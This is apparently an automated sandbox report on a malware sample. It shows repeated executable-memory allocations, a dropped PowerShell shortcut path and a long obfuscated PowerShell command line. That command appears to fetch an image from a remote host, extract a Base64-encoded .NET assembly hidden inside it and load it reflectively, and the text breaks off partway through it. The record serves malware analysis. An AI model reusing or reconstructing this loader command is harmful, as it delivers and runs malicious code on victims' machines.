protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02369000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bd9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bda000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bdb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bdc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bdd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bde000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bdf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04be0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04be1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04be2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04be3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04be4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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OwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP8wCpPwOwWIbeIlJvgPDwwCpPwOwWIbeIlJvgPQgBBwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPRQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPXwBFwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP+wCpPwOwWIbeIlJvgPD4wCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbQBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQBUwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPZgwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPZQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPaQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwBmwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBGwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCswCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPLgBMwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPYgBhwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwB0wCpPwOwWIbeIlJvgPGgw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gPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwBhwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQBkwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPUgBlwCpPwOwWIbeIlJvgPGYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBpwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbgwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPw